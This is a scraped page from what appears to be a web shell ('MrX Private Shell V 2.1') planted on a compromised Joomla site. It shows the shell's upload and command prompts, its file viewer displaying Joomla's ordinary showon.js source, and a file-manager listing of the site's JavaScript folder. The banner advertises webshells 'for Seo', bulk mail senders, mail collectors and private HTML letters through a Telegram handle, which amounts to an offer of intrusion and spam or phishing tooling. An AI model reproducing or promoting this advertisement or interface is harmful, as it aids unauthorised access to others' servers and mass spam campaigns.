__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/**
 * @copyright  (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

/**
 * JField 'showon' class
 */
class Showon {
  /**
   * Constructor
   *
   * @param {HTMLElement} cont Container element
   */
  constructor(cont) {
    const self = this;
    this.container = cont || document;
    this.fields = {
      // origin-field-name: {
      //   origin:  ['collection of all the trigger nodes'],
      //   targets: ['collection of nodes to be controlled control']
      // }
    };
    this.showonFields = [].slice.call(this.container.querySelectorAll('[data-showon]'));
    // Populate the fields data
    if (this.showonFields.length) {
      // @todo refactor this, dry
      this.showonFields.forEach(field => {
        // Set up only once
        if (field.hasAttribute('data-showon-initialised')) {
          return;
        }
        field.setAttribute('data-showon-initialised', '');
        const jsondata = field.getAttribute('data-showon') || '';
        const showonData = JSON.parse(jsondata);
        let localFields;
        if (showonData.length) {
          localFields = [].slice.call(self.container.querySelectorAll(`[name="${showonData[0].field}"], [name="${showonData[0].field}[]"]`));
          if (!this.fields[showonData[0].field]) {
            this.fields[showonData[0].field] = {
              origin: [],
              targets: []
            };
          }

          // Add trigger elements
          localFields.forEach(cField => {
            if (this.fields[showonData[0].field].origin.indexOf(cField) === -1) {
              this.fields[showonData[0].field].origin.push(cField);
            }
          });

          // Add target elements
          this.fields[showonData[0].field].targets.push(field);

          // Data showon can have multiple values
          if (showonData.length > 1) {
            showonData.forEach((value, index) => {
              if (index === 0) {
                return;
              }
              localFields = [].slice.call(self.container.querySelectorAll(`[name="${value.field}"], [name="${value.field}[]"]`));
              if (!this.fields[showonData[0].field]) {
                this.fields[showonData[0].field] = {
                  origin: [],
                  targets: []
                };
              }

              // Add trigger elements
              localFields.forEach(cField => {
                if (this.fields[showonData[0].field].origin.indexOf(cField) === -1) {
                  this.fields[showonData[0].field].origin.push(cField);
                }
              });

              // Add target elements
              if (this.fields[showonData[0].field].targets.indexOf(field) === -1) {
                this.fields[showonData[0].field].targets.push(field);
              }
            });
          }
        }
      });

      // Do some binding
      this.linkedOptions = this.linkedOptions.bind(this);

      // Attach events to referenced element, to check condition on change and keyup
      Object.keys(this.fields).forEach(key => {
        if (this.fields[key].origin.length) {
          this.fields[key].origin.forEach(elem => {
            // Initialize the showon behaviour for the given HTMLElement
            self.linkedOptions(key);

            // Setup listeners
            elem.addEventListener('change', () => {
              self.linkedOptions(key);
            });
            elem.addEventListener('keyup', () => {
              self.linkedOptions(key);
            });
            elem.addEventListener('click', () => {
              self.linkedOptions(key);
            });
          });
        }
      });
    }
  }

  /**
   *
   * @param key
   */
  linkedOptions(key) {
    // Loop through the elements that need to be either shown or hidden
    this.fields[key].targets.forEach(field => {
      const elementShowonDatas = JSON.parse(field.getAttribute('data-showon')) || [];
      let showfield = true;
      let itemval;

      // Check if target conditions are satisfied
      elementShowonDatas.forEach((elementShowonData, index) => {
        const condition = elementShowonData || {};
        condition.valid = 0;

        // Test in each of the elements in the field array if condition is valid
        this.fields[key].origin.forEach(originField => {
          if (originField.name.replace('[]', '') !== elementShowonData.field) {
            return;
          }
          const originId = originField.id;

          // If checkbox or radio box the value is read from properties
          if (originField.getAttribute('type') && ['checkbox', 'radio'].includes(originField.getAttribute('type').toLowerCase())) {
            if (!originField.checked) {
              // Unchecked fields will return a blank and so always match
              // a != condition so we skip them
              return;
            }
            itemval = document.getElementById(originId).value;
          } else if (originField.nodeName === 'SELECT' && originField.hasAttribute('multiple')) {
            itemval = Array.from(originField.querySelectorAll('option:checked')).map(el => el.value);
          } else {
            // Select lists, text-area etc. Note that multiple-select list returns
            // an Array here so we can always treat 'itemval' as an array
            itemval = document.getElementById(originId).value;
            // A multi-select <select> $field  will return null when no elements are
            // selected so we need to define itemval accordingly
            if (itemval === null && originField.tagName.toLowerCase() === 'select') {
              itemval = [];
            }
          }

          // Convert to array to allow multiple values in the field (e.g. type=list multiple)
          // and normalize as string
          if (!(typeof itemval === 'object')) {
            itemval = JSON.parse(`["${itemval}"]`);
          }

          // Test if any of the values of the field exists in showon conditions
          itemval.forEach(val => {
            // ":" Equal to one or more of the values condition
            if (condition.sign === '=' && condition.values.indexOf(val) !== -1) {
              condition.valid = 1;
            }
            // "!:" Not equal to one or more of the values condition
            if (condition.sign === '!=' && condition.values.indexOf(val) === -1) {
              condition.valid = 1;
            }
          });
        });

        // Verify conditions
        // First condition (no operator): current condition must be valid
        if (condition.op === '') {
          if (condition.valid === 0) {
            showfield = false;
          }
        } else {
          // Other conditions (if exists)
          // AND operator: both the previous and current conditions must be valid
          if (condition.op === 'AND' && condition.valid + elementShowonDatas[index - 1].valid < 2) {
            showfield = false;
            condition.valid = 0;
          }
          // OR operator: one of the previous and current conditions must be valid
          if (condition.op === 'OR' && condition.valid + elementShowonDatas[index - 1].valid > 0) {
            showfield = true;
            condition.valid = 1;
          }
        }
      });

      // If conditions are satisfied show the target field(s), else hide
      if (field.tagName !== 'option') {
        if (showfield) {
          field.classList.remove('hidden');
          field.dispatchEvent(new CustomEvent('joomla:showon-show', {
            bubbles: true
          }));
        } else {
          field.classList.add('hidden');
          field.dispatchEvent(new CustomEvent('joomla:showon-hide', {
            bubbles: true
          }));
        }
      } else {
        // @todo: If chosen or choices.js is active we should update them
        field.disabled = !showfield;
      }
    });
  }
}
if (!window.Joomla) {
  throw new Error('Joomla API is not properly initialized');
}
// Provide a public API
if (!Joomla.Showon) {
  Joomla.Showon = {
    initialise: container => new Showon(container)
  };
}

/**
 * Initialize 'showon' feature at an initial page load
 */
Joomla.Showon.initialise(document);

/**
 * Search for matching parents
 *
 * @param {HTMLElement} $child
 * @param {String} selector
 * @returns {HTMLElement[]}
 */
const getMatchedParents = ($child, selector) => {
  let $parent = $child;
  let $matchingParent;
  const parents = [];
  while ($parent) {
    $matchingParent = $parent.matches && $parent.matches(selector) ? $parent : null;
    if ($matchingParent) {
      parents.unshift($matchingParent);
    }
    $parent = $parent.parentNode;
  }
  return parents;
};

/**
 * Initialize 'showon' feature when part of the page was updated
 */
document.addEventListener('joomla:updated', ({
  target
}) => {
  // Check is it subform, then wee need to fix some "showon" config
  if (target.classList.contains('subform-repeatable-group')) {
    const elements = [].slice.call(target.querySelectorAll('[data-showon]'));
    if (elements.length) {
      const search = [];
      const replace = [];

      // Collect all parent groups of changed group
      getMatchedParents(target, '.subform-repeatable-group').forEach($parent => {
        search.push(new RegExp(`\\[${$parent.dataset.baseName}X\\]`, 'g'));
        replace.push(`[${$parent.dataset.group}]`);
      });

      // Fix showon field names in a current group
      elements.forEach(element => {
        let {
          showon
        } = element.dataset;
        search.forEach((pattern, i) => {
          showon = showon.replace(pattern, replace[i]);
        });
        element.dataset.showon = showon;
      });
    }
  }
  Joomla.Showon.initialise(target);
});

Filemanager

Name Type Size Permission Actions
fields Folder 0775
core-es5.js File 27.29 KB 0664
core-es5.min.js File 7.5 KB 0664
core-es5.min.js.gz File 3.07 KB 0664
core.js File 25.82 KB 0664
core.min.js File 7.48 KB 0664
core.min.js.gz File 3.06 KB 0664
draggable-es5.js File 6.14 KB 0664
draggable-es5.min.js File 2.27 KB 0664
draggable-es5.min.js.gz File 1.02 KB 0664
draggable.js File 5.66 KB 0664
draggable.min.js File 2.54 KB 0664
draggable.min.js.gz File 1.05 KB 0664
highlight-es5.js File 70.08 KB 0664
highlight-es5.min.js File 17.29 KB 0664
highlight-es5.min.js.gz File 5.78 KB 0664
highlight.js File 61.34 KB 0664
highlight.min.js File 15.34 KB 0664
highlight.min.js.gz File 5.33 KB 0664
inlinehelp-es5.js File 2.36 KB 0664
inlinehelp-es5.min.js File 887 B 0664
inlinehelp-es5.min.js.gz File 517 B 0664
inlinehelp.js File 2.12 KB 0664
inlinehelp.min.js File 815 B 0664
inlinehelp.min.js.gz File 489 B 0664
joomla-core-loader-es5.js File 8.62 KB 0664
joomla-core-loader-es5.min.js File 5.46 KB 0664
joomla-core-loader-es5.min.js.gz File 1.95 KB 0664
joomla-core-loader.js File 3.98 KB 0664
joomla-core-loader.min.js File 3.32 KB 0664
joomla-core-loader.min.js.gz File 1.09 KB 0664
joomla-hidden-mail-es5.js File 5.44 KB 0664
joomla-hidden-mail-es5.min.js File 2.92 KB 0664
joomla-hidden-mail-es5.min.js.gz File 1.25 KB 0664
joomla-hidden-mail.js File 2.26 KB 0664
joomla-hidden-mail.min.js File 1.53 KB 0664
joomla-hidden-mail.min.js.gz File 721 B 0664
joomla-toolbar-button-es5.js File 7.96 KB 0664
joomla-toolbar-button-es5.min.js File 4.07 KB 0664
joomla-toolbar-button-es5.min.js.gz File 1.61 KB 0664
joomla-toolbar-button.js File 3.08 KB 0664
joomla-toolbar-button.min.js File 1.85 KB 0664
joomla-toolbar-button.min.js.gz File 781 B 0664
keepalive-es5.js File 1.12 KB 0664
keepalive-es5.min.js File 594 B 0664
keepalive-es5.min.js.gz File 427 B 0664
keepalive.js File 1 KB 0664
keepalive.min.js File 741 B 0664
keepalive.min.js.gz File 430 B 0664
list-view-es5.js File 3.15 KB 0664
list-view-es5.min.js File 1.55 KB 0664
list-view-es5.min.js.gz File 539 B 0664
list-view.js File 2.75 KB 0664
list-view.min.js File 1.59 KB 0664
list-view.min.js.gz File 555 B 0664
messages-es5.js File 17.44 KB 0664
messages-es5.min.js File 8.54 KB 0664
messages-es5.min.js.gz File 2.96 KB 0664
messages.js File 10.28 KB 0664
messages.min.js File 5.47 KB 0664
messages.min.js.gz File 1.79 KB 0664
multiselect-es5.js File 4.35 KB 0664
multiselect-es5.min.js File 1.94 KB 0664
multiselect-es5.min.js.gz File 964 B 0664
multiselect.js File 3.74 KB 0664
multiselect.min.js File 1.83 KB 0664
multiselect.min.js.gz File 915 B 0664
searchtools-es5.js File 20.9 KB 0664
searchtools-es5.min.js File 10.85 KB 0664
searchtools-es5.min.js.gz File 2.63 KB 0664
searchtools.js File 18.8 KB 0664
searchtools.min.js File 10.51 KB 0664
searchtools.min.js.gz File 2.58 KB 0664
showon-es5.js File 10.55 KB 0664
showon-es5.min.js File 3.61 KB 0664
showon-es5.min.js.gz File 1.39 KB 0664
showon.js File 9.57 KB 0664
showon.min.js File 3.47 KB 0664
showon.min.js.gz File 1.36 KB 0664
table-columns-es5.js File 6.78 KB 0664
table-columns-es5.min.js File 3.56 KB 0664
table-columns-es5.min.js.gz File 1.32 KB 0664
table-columns.js File 6.01 KB 0664
table-columns.min.js File 3.4 KB 0664
table-columns.min.js.gz File 1.27 KB 0664
Filemanager